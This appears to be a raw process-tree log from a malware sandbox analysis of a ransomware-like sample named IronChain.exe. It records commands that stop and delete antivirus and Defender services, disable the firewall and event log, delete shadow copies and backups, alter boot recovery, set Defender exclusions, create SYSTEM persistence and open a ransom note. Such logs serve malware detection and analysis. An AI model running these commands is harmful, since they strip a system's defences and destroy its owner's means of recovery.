C:\Windows\system32\sc.exesc config Bitdefender start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete Bitdefender3⤵
-
-
C:\Windows\system32\net.exenet stop "avast! Antivirus" /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Antivirus" /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config "avast! Antivirus" start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete "avast! Antivirus"3⤵
-
-
C:\Windows\system32\net.exenet stop "avast! Service" /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Service" /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config "avast! Service" start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete "avast! Service"3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\system32\net.exenet stop AVG /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVG /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config AVG start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete AVG3⤵
-
-
C:\Windows\system32\net.exenet stop MBAMService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MBAMService /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config MBAMService start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete MBAMService3⤵
-
-
C:\Windows\system32\net.exenet stop DrWeb /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DrWeb /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config DrWeb start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete DrWeb3⤵
-
-
C:\Windows\system32\net.exenet stop wscsvc /y3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wscsvc /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config wscsvc start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete wscsvc3⤵
-
-
C:\Windows\system32\net.exenet stop SecurityHealthService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SecurityHealthService /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config SecurityHealthService start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete SecurityHealthService3⤵
-
-
C:\Windows\system32\net.exenet stop Sense /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sense /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config Sense start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete Sense3⤵
-
-
C:\Windows\system32\net.exenet stop WinDefend /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config WinDefend start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete WinDefend3⤵
-
-
C:\Windows\system32\net.exenet stop WdNisSvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WdNisSvc /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config WdNisSvc start= disabled3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\system32\sc.exesc delete WdNisSvc3⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop MpKslDrv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MpKslDrv /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config MpKslDrv start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete MpKslDrv3⤵
-
-
C:\Windows\system32\net.exenet stop NisSrv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NisSrv /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config NisSrv start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete NisSrv3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\system32\net.exenet stop EventLog /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EventLog /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config EventLog start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete EventLog3⤵
-
-
C:\Windows\system32\net.exenet stop swprv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop swprv /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config swprv start= disabled3⤵
- Launches sc.exe
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\system32\sc.exesc delete swprv3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wbadmin delete catalog -quiet"3⤵
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet4⤵
- Deletes backup catalog
-
-
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq Taskmgr.exe" /fo csv /nh3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"3⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im Taskmgr.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled no"3⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq regedit.exe" /fo csv /nh3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"3⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im regedit.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} safemode minimal"3⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} safemode minimal4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config swprv start= disabled"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc config swprv start= disabled4⤵
-
-
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq cmd.exe" /fo csv /nh3⤵
- Discovers running processes
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop swprv"3⤵
-
C:\Windows\system32\sc.exesc stop swprv4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\IronChain.exe""3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc create SbyZsut7eFmLHDoFsftSDZaJeDmbosn binPath= "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" start= auto DisplayName= "SyyIsvtIeumxHro4s8tCDOa8eumbomn""3⤵
-
C:\Windows\system32\sc.exesc create SbyZsut7eFmLHDoFsftSDZaJeDmbosn binPath= "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" start= auto DisplayName= "SyyIsvtIeumxHro4s8tCDOa8eumbomn"4⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc description SbyZsut7eFmLHDoFsftSDZaJeDmbosn "Trusted security module""3⤵
-
C:\Windows\system32\sc.exesc description SbyZsut7eFmLHDoFsftSDZaJeDmbosn "Trusted security module"4⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc start SbyZsut7eFmLHDoFsftSDZaJeDmbosn"3⤵
-
C:\Windows\system32\sc.exesc start SbyZsut7eFmLHDoFsftSDZaJeDmbosn4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc failure SbyZsut7eFmLHDoFsftSDZaJeDmbosn reset= 86400 actions= restart/5000/restart/5000/restart/5000"3⤵
-
C:\Windows\system32\sc.exesc failure SbyZsut7eFmLHDoFsftSDZaJeDmbosn reset= 86400 actions= restart/5000/restart/5000/restart/50004⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc critical SbyZsut7eFmLHDoFsftSDZaJeDmbosn"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc critical SbyZsut7eFmLHDoFsftSDZaJeDmbosn4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /reset"3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /reset4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /inheritance:d"3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /inheritance:d4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im cmd.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /remove "Administrators""3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /remove "Administrators"4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /remove "Admin""3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /remove "Admin"4⤵
-
-
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq msconfig.exe" /fo csv /nh3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /remove "Authenticated Users""3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /remove "Authenticated Users"4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im msconfig.exe3⤵
-
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq procexp.exe" /fo csv /nh3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /grant "Users:RX""3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /grant "Users:RX"4⤵
-
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im procexp.exe3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /inheritance:d"3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /inheritance:d4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq procexp64.exe" /fo csv /nh3⤵
- Discovers running processes
-
-
C:\Windows\system32\route.exeroute print 0.0.0.03⤵
-
-
C:\Windows\system32\mshta.exemshta.exe C:\Users\Admin\Desktop\IronChain.hta3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im procexp64.exe3⤵
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\PLEASEREADTHIS.txt3⤵
- Opens file in notepad (likely ransom note)
-
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq mmc.exe" /fo csv /nh3⤵
- Discovers running processes
-
-
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe" C:\Users\Admin\AppData\Local\Temp\IronChain.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe" C:\Users\Admin\AppData\Local\Temp\IronChain.exe2⤵
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "command /c ver"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "cmd /c ver"3⤵
- Executes a command shell one-liner
-
-
-
C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe"C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe --old-path C:\Users\Admin\AppData\Local\Temp\IronChain.exe1⤵
-
C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exeC:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe1⤵
- Executes dropped EXE
-
C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exeC:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "3WIaRg6EnoOeNCHbAGTIN" /tr "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "3WIaRg6EnoOeNCHbAGTIN" /tr "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "3WIaRg6EnoOeNCHbAGTIN""3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "3WIaRg6EnoOeNCHbAGTIN"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
-
-
-
C:\Windows\System32\net.exenet stop AVP /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config AVP start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc delete AVP3⤵
-
-
C:\Windows\System32\net.exenet stop KAV /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config KAV start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete KAV3⤵
-
-
C:\Windows\System32\net.exenet stop BDSS /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BDSS /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config BDSS start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete BDSS3⤵
-
-
C:\Windows\System32\net.exenet stop Bitdefender /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Bitdefender /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config Bitdefender start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete Bitdefender3⤵
-
-
C:\Windows\System32\net.exenet stop "avast! Antivirus" /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Antivirus" /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config "avast! Antivirus" start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete "avast! Antivirus"3⤵
-
-
C:\Windows\System32\net.exenet stop "avast! Service" /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Service" /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config "avast! Service" start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete "avast! Service"3⤵
-
-
C:\Windows\System32\net.exenet stop AVG /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVG /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config AVG start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete AVG3⤵
-
-
C:\Windows\System32\net.exenet stop MBAMService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MBAMService /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config MBAMService start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete MBAMService3⤵
-
-
C:\Windows\System32\net.exenet stop DrWeb /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DrWeb /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config DrWeb start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete DrWeb3⤵
-
-
C:\Windows\System32\net.exenet stop wscsvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wscsvc /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config wscsvc start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete wscsvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\net.exenet stop SecurityHealthService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SecurityHealthService /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config SecurityHealthService start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete SecurityHealthService3⤵
-
-
C:\Windows\System32\net.exenet stop Sense /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sense /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config Sense start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete Sense3⤵
-
-
C:\Windows\System32\net.exenet stop WinDefend /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config WinDefend start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete WinDefend3⤵
- Launches sc.exe
-
-
C:\Windows\System32\net.exenet stop WdNisSvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WdNisSvc /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config WdNisSvc start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete WdNisSvc3⤵
-
-
C:\Windows\System32\net.exenet stop MpKslDrv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MpKslDrv /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config MpKslDrv start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete MpKslDrv3⤵
-
-
C:\Windows\System32\net.exenet stop NisSrv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NisSrv /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config NisSrv start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete NisSrv3⤵
-
-
C:\Windows\System32\net.exenet stop EventLog /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EventLog /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config EventLog start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete EventLog3⤵
-
-
C:\Windows\System32\net.exenet stop swprv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop swprv /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config swprv start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete swprv3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wbadmin delete catalog -quiet"3⤵
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet4⤵
- Deletes backup catalog
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"3⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq Taskmgr.exe" /fo csv /nh3⤵
- Discovers running processes
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im Taskmgr.exe3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled no"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq regedit.exe" /fo csv /nh3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"3⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im regedit.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq cmd.exe" /fo csv /nh3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} safemode minimal"3⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} safemode minimal4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config swprv start= disabled"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc config swprv start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop swprv"3⤵
-
C:\Windows\system32\sc.exesc stop swprv4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "Add-MpPreference -ExclusionPath "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe""3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc create 1jIuRB2Ta6OuNCHgAs0IN binPath= "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" start= auto DisplayName= "IvBROENzCHgzA4INEbp2K""3⤵
-
C:\Windows\system32\sc.exesc create 1jIuRB2Ta6OuNCHgAs0IN binPath= "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" start= auto DisplayName= "IvBROENzCHgzA4INEbp2K"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc description 1jIuRB2Ta6OuNCHgAs0IN "Trusted security module""3⤵
-
C:\Windows\system32\sc.exesc description 1jIuRB2Ta6OuNCHgAs0IN "Trusted security module"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc start 1jIuRB2Ta6OuNCHgAs0IN"3⤵
-
C:\Windows\system32\sc.exesc start 1jIuRB2Ta6OuNCHgAs0IN4⤵
-
-
-
-
C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe"C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe --old-path C:\Users\Admin\AppData\Local\Temp\IronChain.exe1⤵
-
C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exeC:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe1⤵
- Executes dropped EXE
-
C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exeC:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "IvrROZNZCHZBAnINmFGei" /tr "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "IvrROZNZCHZBAnINmFGei" /tr "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "IvrROZNZCHZBAnINmFGei""3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "IvrROZNZCHZBAnINmFGei"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
-
-
-
C:\Windows\System32\net.exenet stop AVP /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config AVP start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete AVP3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\System32\net.exenet stop KAV /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config KAV start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete KAV3⤵
-
-
C:\Windows\System32\net.exenet stop BDSS /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BDSS /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config BDSS start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete BDSS3⤵
-
-
C:\Windows\System32\net.exenet stop Bitdefender /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Bitdefender /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config Bitdefender start= disabled3⤵
-
-
C:\Windows\System32\sc.exesc delete Bitdefender3⤵
-
-
C:\Windows\System32\net.exenet stop "avast! Antivirus" /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Antivirus" /y4⤵
-
-
-
C:\Windows\System32\sc.exesc config "avast! Antivirus" start= disabled3⤵
-
-
